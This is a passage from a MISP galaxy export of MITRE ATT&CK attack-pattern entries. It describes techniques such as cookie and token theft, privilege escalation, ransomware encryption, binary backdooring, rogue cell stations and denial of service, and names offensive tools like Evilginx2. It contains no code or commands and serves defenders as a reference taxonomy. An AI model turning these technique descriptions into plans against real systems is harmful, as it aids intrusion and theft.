https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow
https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/
https://learn.microsoft.com/en-us/entra/identity/managed-identities-azure-resources/how-to-use-vm-token
https://posts.specterops.io/managed-identity-attack-paths-part-1-automation-accounts-82667d17187a?gi=6a9daedade1c
https://web.archive.org/web/20220316130828/https://www.cidersecurity.io/top-10-cicd-security-risks/
https://www.amnesty.org/en/latest/research/2019/08/evolving-phishing-attacks-targeting-journalists-and-human-rights-defenders-from-the-middle-east-and-north-africa/

Gather Victim Host Information - T1592

Adversaries may gather information about the victim's hosts that can be used during targeting. Information about hosts may include a variety of details, including administrative data (ex: name, assigned IP, functionality, etc.) as well as specifics regarding its configuration (ex: operating system, language, etc.).

Adversaries may gather this information in various ways, such as direct collection actions via [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Phishing for Information](https://attack.mitre.org/techniques/T1598). Adversaries may also compromise sites then include malicious content designed to collect host information from visitors.(Citation: ATT ScanBox) Information about hosts may also be exposed to adversaries via online or other accessible

data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)). Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Search Open Technical Databases](https://attack.mitre.org/techniques/T1596)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Supply Chain Compromise](https://attack.mitre.org/techniques/T1195) or [External Remote Services](https://attack.mitre.org/techniques/T1133)).

Adversaries may also gather victim host information via User-Agent HTTP headers, which are sent to a server to identify the application, operating system, vendor, and/or version of the requesting user agent. This can be used to inform the adversary's follow-on action. For example, adversaries may check user agents for the requesting operating system, then only serve malware for target operating systems while ignoring others.(Citation: TrellixQakbot)

The tag is: *misp-galaxy:mitre-attack-pattern="Gather Victim Host Information - T1592"*

Table 8197. Table References

Links
https://attack.mitre.org/techniques/T1592
https://cybersecurity.att.com/blogs/labs-research/scanbox-a-reconnaissance-framework-used-on-watering-hole-attacks
https://threatconnect.com/blog/infrastructure-research-hunting/
https://www.trellix.com/blogs/research/qakbot-evolves-to-onenote-malware-distribution/

Abuse Elevation Control Mechanism - T1626

Adversaries may circumvent mechanisms designed to control elevated privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can gain on a machine. Authorization has to be granted to specific users in order to perform tasks that are designated as higher risk. An adversary can use several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.

The tag is: *misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1626"*

Table 8198. Table References

Links
https://attack.mitre.org/techniques/T1626
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-22.html

Identify people of interest - T1269

This object is deprecated as its content has been merged into the enterprise domain. Please see the

[PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1269).

The attempt to identify people of interest or with an inherent weakness for direct or indirect targeting to determine an approach to compromise a person or organization. Such targets may include individuals with poor OPSEC practices or those who have a trusted relationship with the intended target. (Citation: RSA-APTRecon) (Citation: Scasny2015)

The tag is: *misp-galaxy:mitre-attack-pattern="Identify people of interest - T1269"*

Table 8199. Table References

Links
https://attack.mitre.org/techniques/T1269

Data from Local System - T1533

Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to exfiltration.

Access to local system data, which includes information stored by the operating system, often requires escalated privileges. Examples of local system data include authentication tokens, the device keyboard cache, Wi-Fi passwords, and photos. On Android, adversaries may also attempt to access files from external storage which may require additional storage-related permissions.

The tag is: *misp-galaxy:mitre-attack-pattern="Data from Local System - T1533"*

Table 8200. Table References

Links
https://attack.mitre.org/techniques/T1533
https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-41.html

Post compromise tool development - T1353

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1353).

After compromise, an adversary may utilize additional tools to facilitate their end goals. This may include tools to further explore the system, move laterally within a network, exfiltrate data, or destroy data. (Citation: SofacyHits)

The tag is: *misp-galaxy:mitre-attack-pattern="Post compromise tool development - T1353"*

Table 8201. Table References

Links
https://attack.mitre.org/techniques/T1353

Credentials from Password Store - T1634

Adversaries may search common password storage locations to obtain user credentials. Passwords can be stored in several places on a device, depending on the operating system or application holding the credentials. There are also specific applications that store passwords to make it easier for users to manage and maintain. Once credentials are obtained, they can be used to perform lateral movement and access restricted information.

The tag is: *misp-galaxy:mitre-attack-pattern="Credentials from Password Store - T1634"*

Table 8202. Table References

Links
https://attack.mitre.org/techniques/T1634
https://pages.nist.gov/mobile-threat-catalogue/authentication-threats/AUT-11.html

Generate Traffic from Victim - T1643

Adversaries may generate outbound traffic from devices. This is typically performed to manipulate external outcomes, such as to achieve carrier billing fraud or to manipulate app store rankings or ratings. Outbound traffic is typically generated as SMS messages or general web traffic, but may take other forms as well.

If done via SMS messages, Android apps must hold the `SEND_SMS` permission. Additionally, sending an SMS message requires user consent if the recipient is a premium number. Applications cannot send SMS messages on iOS

The tag is: *misp-galaxy:mitre-attack-pattern="Generate Traffic from Victim - T1643"*

Table 8203. Table References

Links
https://attack.mitre.org/techniques/T1643
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-16.html

Build or acquire exploits - T1349

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1349).

An exploit takes advantage of a bug or vulnerability in order to cause unintended or unanticipated behavior to occur on computer hardware or software. The adversary may use or modify existing exploits when those exploits are still relevant to the environment they are trying to compromise. (Citation: NYTStuxnet) (Citation: NationsBuying)

The tag is: *misp-galaxy:mitre-attack-pattern="Build or acquire exploits - T1349"*

Table 8204. Table References

Links
https://attack.mitre.org/techniques/T1349
https://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html
https://www.nytimes.com/2013/07/14/world/europe/nations-buying-as-hackers-sell-computer-flaws.html

Create infected removable media - T1355

This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/techniques/T1355).

Use of removable media as part of the Launch phase requires an adversary to determine type, format, and content of the media and associated malware. (Citation: BadUSB)

The tag is: *misp-galaxy:mitre-attack-pattern="Create infected removable media - T1355"*

Table 8205. Table References

Links
https://attack.mitre.org/techniques/T1355

Steal Application Access Token - T1635

Adversaries can steal user application access tokens as a means of acquiring credentials to access remote systems and resources. This can occur through social engineering or URI hijacking and typically requires user action to grant access, such as through a system “Open With” dialogue.

Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework used to issue tokens to users for access to systems. An application desiring access to cloud-based services or protected APIs can gain entry through OAuth 2.0 using a variety of authorization protocols. An example of a commonly-used sequence is Microsoft’s Authorization Code Grant flow.(Citation: Microsoft Identity Platform Protocols May 2019)(Citation: Microsoft - OAuth Code Authorization flow - June 2019) An OAuth access token enables a third-party application to interact with resources containing user data in the ways requested without requiring user credentials.

The tag is: *misp-galaxy:mitre-attack-pattern="Steal Application Access Token - T1635"*

Table 8206. Table References

Links
https://attack.mitre.org/techniques/T1635

https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/
https://developer.android.com/training/app-links/index.html
https://docs.microsoft.com/en-us/azure/active-directory/develop/active-directory-v2-protocols
https://docs.microsoft.com/en-us/azure/active-directory/develop/v2-oauth2-auth-code-flow
https://tools.ietf.org/html/rfc8252

Remote Service Session Hijacking - T1563

Adversaries may take control of preexisting sessions with remote services to move laterally in an environment. Users may use valid credentials to log into a service specifically designed to accept remote connections, such as telnet, SSH, and RDP. When a user logs into a service, a session will be established that will allow them to maintain a continuous interaction with that service.

Adversaries may commandeer these sessions to carry out actions on remote systems. [Remote Service Session Hijacking](https://attack.mitre.org/techniques/T1563) differs from use of [Remote Services](https://attack.mitre.org/techniques/T1021) because it hijacks an existing session rather than creating a new session using [Valid Accounts](https://attack.mitre.org/techniques/T1078).(Citation: RDP Hijacking Medium)(Citation: Breach Post-mortem SSH Hijack)

The tag is: *misp-galaxy:mitre-attack-pattern="Remote Service Session Hijacking - T1563"*

Table 8207. Table References

Links
https://attack.mitre.org/techniques/T1563
https://matrix.org/blog/2019/05/08/post-mortem-and-remediations-for-apr-11-security-incident/
https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6

Steal Web Session Cookie - T1539

An adversary may steal web application or service session cookies and use them to gain access to web applications or Internet services as an authenticated user without needing credentials. Web applications and services often use session cookies as an authentication token after a user has authenticated to a website.

Cookies are often valid for an extended period of time, even if the web application is not actively used. Cookies can be found on disk, in the process memory of the browser, and in network traffic to remote systems. Additionally, other applications on the targets machine might store sensitive authentication cookies in memory (e.g. apps which authenticate to cloud services). Session cookies can be used to bypasses some multi-factor authentication protocols.(Citation: Pass The Cookie)

There are several examples of malware targeting cookies from web browsers on the local system.(Citation: Kaspersky TajMahal April 2019)(Citation: Unit 42 Mac Crypto Cookies January 2019) Adversaries may also steal cookies by injecting malicious JavaScript content into websites or relying on [User Execution](https://attack.mitre.org/techniques/T1204) by tricking victims into

running malicious JavaScript in their browser.(Citation: Talos Roblox Scam 2023)(Citation: Krebs Discord Bookmarks 2023)

There are also open source frameworks such as `Evilginx2` and `Muraena` that can gather session cookies through a malicious proxy (e.g., [Adversary-in-the-Middle](https://attack.mitre.org/techniques/T1557)) that can be set up by an adversary and used in phishing campaigns.(Citation: Github evilginx2)(Citation: GitHub Mauraena)

After an adversary acquires a valid cookie, they can then perform a [Web Session Cookie](https://attack.mitre.org/techniques/T1550/004) technique to login to the corresponding web application.

The tag is: *misp-galaxy:mitre-attack-pattern="Steal Web Session Cookie - T1539"*

Table 8208. Table References

Links
https://attack.mitre.org/techniques/T1539
https://blog.talosintelligence.com/roblox-scam-overview/
https://github.com/kgretzky/evilginx2
https://github.com/muraenateam/muraena
https://krebsonsecurity.com/2023/05/discord-admins-hacked-by-malicious-bookmarks/
https://securelist.com/project-tajmahal/90240/
https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/
https://wunderwuzzi23.github.io/blog/passthecookie.html

Targeted social media phishing - T1366

This technique has been deprecated. Please use [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003).

Sending messages through social media platforms to individuals identified as a target. These messages may include malicious attachments or links to malicious sites or they may be designed to establish communications for future actions. (Citation: APT1) (Citation: Nemucod Facebook)

The tag is: *misp-galaxy:mitre-attack-pattern="Targeted social media phishing - T1366"*

Table 8209. Table References

Links
https://attack.mitre.org/techniques/T1366

Exfiltration Over Alternative Protocol - T1639

Adversaries may steal data by exfiltrating it over a different protocol than that of the existing command and control channel. The data may also be sent to an alternate network location from the

main command and control server.

Alternate protocols include FTP, SMTP, HTTP/S, DNS, SMB, or any other network protocol not being used as the main command and control channel. Different protocol channels could also include Web services such as cloud storage. Adversaries may opt to also encrypt and/or obfuscate these alternate channels.

The tag is: *misp-galaxy:mitre-attack-pattern="Exfiltration Over Alternative Protocol - T1639"*

Table 8210. Table References

Links
https://attack.mitre.org/techniques/T1639
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-30.html

Modify Trusted Execution Environment - T1399

If an adversary can escalate privileges, he or she may be able to use those privileges to place malicious code in the device's Trusted Execution Environment (TEE) or other similar isolated execution environment where the code can evade detection, may persist after device resets, and may not be removable by the device user. Running code within the TEE may provide an adversary with the ability to monitor or tamper with overall device behavior.(Citation: Roth-Rootkits)

The tag is: *misp-galaxy:mitre-attack-pattern="Modify Trusted Execution Environment - T1399"*

Table 8211. Table References

Links
https://attack.mitre.org/techniques/T1399
https://hackinparis.com/data/slides/2013/Slidesthomasroth.pdf
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html
https://www.apple.com/business/docs/iOS_Security_Guide.pdf

Masquerade as Legitimate Application - T1444

An adversary could distribute developed malware by masquerading the malware as a legitimate application. This can be done in two different ways: by embedding the malware in a legitimate application, or by pretending to be a legitimate application.

Embedding the malware in a legitimate application is done by downloading the application, disassembling it, adding the malicious code, and then re-assembling it.(Citation: Zhou) The app would appear to be the original app, but would contain additional malicious functionality. The adversary could then publish the malicious application to app stores or use another delivery method.

Pretending to be a legitimate application relies heavily on lack of scrutinization by the user. Typically, a malicious app pretending to be a legitimate one will have many similar details as the

legitimate one, such as name, icon, and description.(Citation: Palo Alto HenBox)

Malicious applications may also masquerade as legitimate applications when requesting access to the accessibility service in order to appear as legitimate to the user, increasing the likelihood that the access will be granted.

The tag is: *misp-galaxy:mitre-attack-pattern="Masquerade as Legitimate Application - T1444"*

Table 8212. Table References

Links
http://ieeexplore.ieee.org/document/6234407
https://attack.mitre.org/techniques/T1444
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-14.html
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-31.html
https://unit42.paloaltonetworks.com/unit42-henbox-chickens-come-home-roost/

Out of Band Data - T1644

Adversaries may communicate with compromised devices using out of band data streams. This could be done for a variety of reasons, including evading network traffic monitoring, as a backup method of command and control, or for data exfiltration if the device is not connected to any Internet-providing networks (i.e. cellular or Wi-Fi). Several out of band data streams exist, such as SMS messages, NFC, and Bluetooth.

On Android, applications can read push notifications to capture content from SMS messages, or other out of band data streams. This requires that the user manually grant notification access to the application via the settings menu. However, the application could launch an Intent to take the user directly there.

On iOS, there is no way to programmatically read push notifications.

The tag is: *misp-galaxy:mitre-attack-pattern="Out of Band Data - T1644"*

Table 8213. Table References

Links
https://attack.mitre.org/techniques/T1644

Network Denial of Service - T1464

Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth that services rely on, or by jamming the signal going to or coming from devices.

A Network DoS will occur when an adversary is able to jam radio signals (e.g. Wi-Fi, cellular, GPS)

around a device to prevent it from communicating. For example, to jam cellular signal, an adversary may use a handheld signal jammer, which jam devices within the jammer's operational range.(Citation: NIST-SP800187)

Usage of cellular jamming has been documented in several arrests reported in the news.(Citation: CNET-Celljammer)(Citation: NYTimes-Celljam)(Citation: Digitaltrends-Celljam)(Citation: Arstechnica-Celljam)

The tag is: *misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1464"*

Table 8214. Table References

Links
http://csrc.nist.gov/publications/drafts/800-187/sp800_187_draft.pdf
https://arstechnica.com/tech-policy/2016/03/man-accused-of-jamming-passengers-cell-phones-on-chicago-subway/
https://attack.mitre.org/techniques/T1464
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-8.html
https://pages.nist.gov/mobile-threat-catalogue/gps-threats/GPS-0.html
https://pages.nist.gov/mobile-threat-catalogue/lan-pan-threats/LPN-5.html
https://www.cnet.com/news/man-put-cell-phone-jammer-in-car-to-stop-driver-calls-fcc-says/
https://www.digitaltrends.com/mobile/florida-teacher-punished-after-signal-jamming-his-students-cell-phones/
https://www.nytimes.com/2007/11/04/technology/04jammer.html

Compromise Host Software Binary - T1554

Adversaries may modify host software binaries to establish persistent access to systems. Software binaries/executables provide a wide range of system commands or services, programs, and libraries. Common software binaries are SSH clients, FTP clients, email clients, web browsers, and many other user or server applications.

Adversaries may establish persistence though modifications to host software binaries. For example, an adversary may replace or otherwise infect a legitimate application binary (or support files) with a backdoor. Since these binaries may be routinely executed by applications or the user, the adversary can leverage this for persistent access to the host. An adversary may also modify a software binary such as an SSH client in order to persistently collect credentials during logins (i.e., [Modify Authentication Process](https://attack.mitre.org/techniques/T1556)).(Citation: Google Cloud Mandiant UNC3886 2024)

An adversary may also modify an existing binary by patching in malicious functionality (e.g., IAT Hooking/Entry point patching)(Citation: Unit42 Banking Trojans Hooking 2022) prior to the binary's legitimate execution. For example, an adversary may modify the entry point of a binary to point to malicious code patched in by the adversary before resuming normal execution flow.(Citation: ESET

FontOnLake Analysis 2021)

After modifying a binary, an adversary may attempt to [Impair Defenses](https://attack.mitre.org/techniques/T1562) by preventing it from updating (e.g., via the `yum-versionlock` command or `versionlock.list` file in Linux systems that use the yum package manager).(Citation: Google Cloud Mandiant UNC3886 2024)

The tag is: *misp-galaxy:mitre-attack-pattern="Compromise Host Software Binary - T1554"*

Table 8215. Table References

Links
https://attack.mitre.org/techniques/T1554
https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations
https://unit42.paloaltonetworks.com/banking-trojan-techniques/#post-125550-_rm3d6xxbk52n
https://web-assets.esetstatic.com/wls/2021/10/eset_fontonlake.pdf

Compromise Client Software Binary - T1645

Adversaries may modify system software binaries to establish persistent access to devices. System software binaries are used by the underlying operating system and users over adb or terminal emulators.

Adversaries may make modifications to client software binaries to carry out malicious tasks when those binaries are executed. For example, malware may come with a pre-compiled malicious binary intended to overwrite the genuine one on the device. Since these binaries may be routinely executed by the system or user, the adversary can leverage this for persistent access to the device.

The tag is: *misp-galaxy:mitre-attack-pattern="Compromise Client Software Binary - T1645"*

Table 8216. Table References

Links
https://attack.mitre.org/techniques/T1645
https://pages.nist.gov/mobile-threat-catalogue/application-threats/APP-27.html
https://source.android.com/security/verifiedboot/

Abuse Elevation Control Mechanism - T1548

Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk.(Citation: TechNet How UAC Works)(Citation: sudo man page 2018) An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.(Citation: OSX Keydnap malware)(Citation: Fortinet Fareit)

The tag is: *misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548"*

Table 8217. Table References

Links
https://attack.mitre.org/techniques/T1548
https://blog.fortinet.com/2016/12/16/malicious-macro-bypasses-uac-to-elevate-privilege-for-fareit-malware
https://technet.microsoft.com/en-us/itpro/windows/keep-secure/how-user-account-control-works
https://www.sudo.ws/
https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/

Replication Through Removable Media - T1458

Adversaries may move onto devices by exploiting or copying malware to devices connected via USB. In the case of Lateral Movement, adversaries may utilize the physical connection of a device to a compromised or malicious charging station or PC to bypass application store requirements and install malicious applications directly.(Citation: Lau-Mactans) In the case of Initial Access, adversaries may attempt to exploit the device via the connection to gain access to data stored on the device.(Citation: Krebs-JuiceJacking) Examples of this include:

- Exploiting insecure bootloaders in a Nexus 6 or 6P device over USB and gaining the ability to perform actions including intercepting phone calls, intercepting network traffic, and obtaining the device physical location.(Citation: IBM-NexusUSB)
- Exploiting weakly-enforced security boundaries in Android devices such as the Google Pixel 2 over USB.(Citation: GoogleProjectZero-OATmeal)
- Products from Cellebrite and Grayshift purportedly that can exploit some iOS devices using physical access to the data port to unlock the passcode.(Citation: Computerworld-iPhoneCracking)

The tag is: *misp-galaxy:mitre-attack-pattern="Replication Through Removable Media - T1458"*

Table 8218. Table References

Links
http://krebsonsecurity.com/2011/08/beware-of-juice-jacking/
https://attack.mitre.org/techniques/T1458
https://googleprojectzero.blogspot.com/2018/09/oatmeal-on-universal-cereal-bus.html
https://media.blackhat.com/us-13/US-13-Lau-Mactans-Injecting-Malware-into-iOS-Devices-via-Malicious-Chargers-WP.pdf
https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-1.html
https://pages.nist.gov/mobile-threat-catalogue/physical-threats/PHY-2.html
https://pages.nist.gov/mobile-threat-catalogue/stack-threats/STA-6.html

https://securityintelligence.com/android-vulnerabilities-attacking-nexus-6-and-6p-custom-boot-modes/
https://www.techcentral.ie/two-vendors-now-sell-iphone-cracking-technology-police-buying/

Exploitation for Initial Access - T1664

Adversaries may exploit software vulnerabilities to gain initial access to a mobile device.

This can be accomplished in a variety of ways. Vulnerabilities may be present in the applications, the services, the underlying operating system, or the kernel itself. Several well-known mobile device exploits exist, including FORCEDENTRY, StageFright, and BlueBorne. Furthermore, some exploits may be possible to exploit without any user interaction (i.e. zero-click exploits, see [Exploitation for Client Execution](https://attack.mitre.org/techniques/T1658)), making them particularly dangerous. Mobile operating system vendors are typically very quick to patch such critical bugs, ensuring only a small window where they can be exploited.

The tag is: *misp-galaxy:mitre-attack-pattern="Exploitation for Initial Access - T1664"*

Table 8219. Table References

Links
https://attack.mitre.org/techniques/T1664

Downgrade to Insecure Protocols - T1466

An adversary could cause the mobile device to use less secure protocols, for example by jamming frequencies used by newer protocols such as LTE and only allowing older protocols such as GSM to communicate(Citation: NIST-SP800187). Use of less secure protocols may make communication easier to eavesdrop upon or manipulate.

The tag is: *misp-galaxy:mitre-attack-pattern="Downgrade to Insecure Protocols - T1466"*

Table 8220. Table References

Links
http://csrc.nist.gov/publications/drafts/800-187/sp800_187_draft.pdf
https://attack.mitre.org/techniques/T1466
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-3.html

Rogue Cellular Base Station - T1467

An adversary could set up a rogue cellular base station and then use it to eavesdrop on or manipulate cellular device communication. A compromised cellular femtocell could be used to carry out this technique(Citation: Computerworld-Femtocell).

The tag is: *misp-galaxy:mitre-attack-pattern="Rogue Cellular Base Station - T1467"*

Table 8221. Table References

Links
http://www.computerworld.com/article/2484538/cybercrime-hacking/researchers-exploit-cellular-tech-flaws-to-intercept-phone-calls.html
https://attack.mitre.org/techniques/T1467
https://pages.nist.gov/mobile-threat-catalogue/cellular-threats/CEL-7.html

Data Encrypted for Impact - T1486

Adversaries may encrypt data on target systems or on large numbers of systems in a network to interrupt availability to system and network resources. They can attempt to render stored data inaccessible by encrypting files or data on local and remote drives and withholding access to a decryption key. This may be done in order to extract monetary compensation from a victim in exchange for decryption or a decryption key (ransomware) or to render data permanently inaccessible in cases where the key is not saved or transmitted.(Citation: US-CERT Ransomware 2016)(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017)(Citation: US-CERT SamSam 2018)

In the case of ransomware, it is typical that common user files like Office documents, PDFs, images, videos, audio, text, and source code files will be encrypted (and often renamed and/or tagged with specific file markers). Adversaries may need to first employ other behaviors, such as [File and Directory Permissions Modification](https://attack.mitre.org/techniques/T1222) or [System Shutdown/Reboot](https://attack.mitre.org/techniques/T1529), in order to unlock and/or gain access to manipulate these files.(Citation: CarbonBlack Conti July 2020) In some cases, adversaries may encrypt critical system files, disk partitions, and the MBR.(Citation: US-CERT NotPetya 2017) Adversaries may also encrypt virtual machines hosted on ESXi or other hypervisors.(Citation: Crowdstrike Hypervisor Jackpotting Pt 2 2021)

To maximize impact on the target organization, malware designed for encrypting data may have worm-like features to propagate across a network by leveraging other attack techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: FireEye WannaCry 2017)(Citation: US-CERT NotPetya 2017) Encryption malware may also leverage [Internal Defacement](https://attack.mitre.org/techniques/T1491/001), such as changing victim wallpapers or ESXi server login messages, or otherwise intimidate victims by sending ransom notes or other messages to connected printers (known as "print bombing").(Citation: NHS Digital Egregor Nov 2020)(Citation: Varonis)

In cloud environments, storage objects within compromised accounts may also be encrypted.(Citation: Rhino S3 Ransomware Part 1) For example, in AWS environments, adversaries may leverage services such as AWS's Server-Side Encryption with Customer Provided Keys (SSE-C) to encrypt data.(Citation: Halcyon AWS Ransomware 2025)

The tag is: *misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486"*

Table 8222. Table References

Links
https://attack.mitre.org/techniques/T1486
https://digital.nhs.uk/cyber-alerts/2020/cc-3681#summary
https://rhinosecuritylabs.com/aws/s3-ransomware-part-1-attack-vector/
https://www.carbonblack.com/blog/tau-threat-discovery-conti-ransomware/
https://www.crowdstrike.com/en-us/blog/hypervisor-jackpotting-ecrime-actors-increase-targeting-of-esxi-servers/
https://www.fireeye.com/blog/threat-research/2017/05/wannacry-malware-profile.html
https://www.halcyon.ai/blog/abusing-aws-native-services-ransomware-encrypting-s3-buckets-with-sse-c
https://www.us-cert.gov/ncas/alerts/AA18-337A
https://www.us-cert.gov/ncas/alerts/TA16-091A
https://www.us-cert.gov/ncas/alerts/TA17-181A
https://www.varonis.com/blog/vmware-esxi-in-the-line-of-ransomware-fire

Exploit via Radio Interfaces - T1477

The mobile device may be targeted for exploitation through its interface to cellular networks or other radio interfaces.

Baseband Vulnerability Exploitation

A message sent over a radio interface (typically cellular, but potentially Bluetooth, GPS, NFC, Wi-Fi(Citation: ProjectZero-BroadcomWiFi) or other) to the mobile device could exploit a vulnerability in code running on the device(Citation: Register-BaseStation)(Citation: Weinmann-Baseband).

Malicious SMS Message

An SMS message could contain content designed to exploit vulnerabilities in the SMS parser on the receiving device(Citation: Forbes-iPhoneSMS). An SMS message could also contain a link to a web site containing malicious content designed to exploit the device web browser. Vulnerable SIM cards may be remotely exploited and reprogrammed via SMS messages(Citation: SRLabs-SIMCard).

The tag is: *misp-galaxy:mitre-attack-pattern="Exploit via Radio Interfaces - T1477"*

Table 8223. Table References

Links
http://www.forbes.com/2009/07/28/hackers-iphone-apple-technology-security-hackers.html
http://www.theregister.co.uk/2015/11/12/mobile_pwn2own1/
https://attack.mitre.org/techniques/T1477

https://googleprojectzero.blogspot.com/2017/04/over-air-exploiting-broadcoms-wi-fi_4.html
https://srlabs.de/bites/rooting-sim-cards/
https://www.usenix.org/system/files/conference/woot12/woot12-final24.pdf

Network Denial of Service - T1498

Adversaries may perform Network Denial of Service (DoS) attacks to degrade or block the availability of targeted resources to users. Network DoS can be performed by exhausting the network bandwidth services rely on. Example resources include specific websites, email services, DNS, and web-based applications. Adversaries have been observed conducting network DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)

A Network DoS will occur when the bandwidth capacity of the network connection to a system is exhausted due to the volume of malicious traffic directed at the resource or the network connections and network devices the resource relies on. For example, an adversary may send 10Gbps of traffic to a server that is hosted by a network with a 1Gbps connection to the internet. This traffic can be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).

To perform Network DoS attacks several aspects apply to multiple methods, including IP address spoofing, and botnets.

Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.

For DoS attacks targeting the hosting system directly, see [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499).

The tag is: *misp-galaxy:mitre-attack-pattern="Network Denial of Service - T1498"*

Table 8224. Table References

Links
https://attack.mitre.org/techniques/T1498
https://web.archive.org/web/20201127180357/https://www.fireeye.com/blog/threat-research/2014/11/operation-poisoned-handover-unveiling-ties-between-apt-activity-in-hong-kongs-pro-democracy-movement.html
https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf
https://www.ic3.gov/Media/PDF/Y2012/FraudAlertFinancialInstitutionEmployeeCredentialsTargeted.pdf

https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/the-continued-rise-of-ddos-attacks.pdf

Endpoint Denial of Service - T1499

Adversaries may perform Endpoint Denial of Service (DoS) attacks to degrade or block the availability of services to users. Endpoint DoS can be performed by exhausting the system resources those services are hosted on or exploiting the system to cause a persistent crash condition. Example services include websites, email services, DNS, and web-based applications. Adversaries have been observed conducting DoS attacks for political purposes(Citation: FireEye OpPoisonedHandover February 2016) and to support other malicious activities, including distraction(Citation: FSISAC FraudNetDoS September 2012), hacktivism, and extortion.(Citation: Symantec DDoS October 2014)

An Endpoint DoS denies the availability of a service without saturating the network used to provide access to the service. Adversaries can target various layers of the application stack that is hosted on the system used to provide the service. These layers include the Operating Systems (OS), server applications such as web servers, DNS servers, databases, and the (typically web-based) applications that sit on top of them. Attacking each layer requires different techniques that take advantage of bottlenecks that are unique to the respective components. A DoS attack may be generated by a single system or multiple systems spread across the internet, which is commonly referred to as a distributed DoS (DDoS).

To perform DoS attacks against endpoint resources, several aspects apply to multiple methods, including IP address spoofing and botnets.

Adversaries may use the original IP address of an attacking system, or spoof the source IP address to make the attack traffic more difficult to trace back to the attacking system or to enable reflection. This can increase the difficulty defenders have in defending against the attack by reducing or eliminating the effectiveness of filtering by the source address on network defense devices.

Botnets are commonly used to conduct DDoS attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for DDoS, so many systems are used to generate requests that each one only needs to send out a small amount of traffic to produce enough volume to exhaust the target's resources. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016)

